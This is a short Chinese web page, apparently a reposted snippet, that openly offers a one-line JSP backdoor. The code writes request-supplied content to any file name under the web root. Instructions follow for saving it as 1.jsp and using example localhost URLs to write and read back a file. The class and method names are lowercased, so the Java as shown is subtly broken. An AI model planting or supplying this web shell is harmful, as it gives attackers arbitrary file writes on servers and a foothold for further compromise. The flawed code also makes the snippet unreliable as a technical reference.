复制代码 代码如下:
<%
if(request.getparameter("f")!=null)(new java.io.fileoutputstream(application.getrealpath("")+request.getparameter("f"))).write(request.getparameter("t").getbytes());
%>
这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出来了 内容为 hello .....
【说明】:本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:254677821)!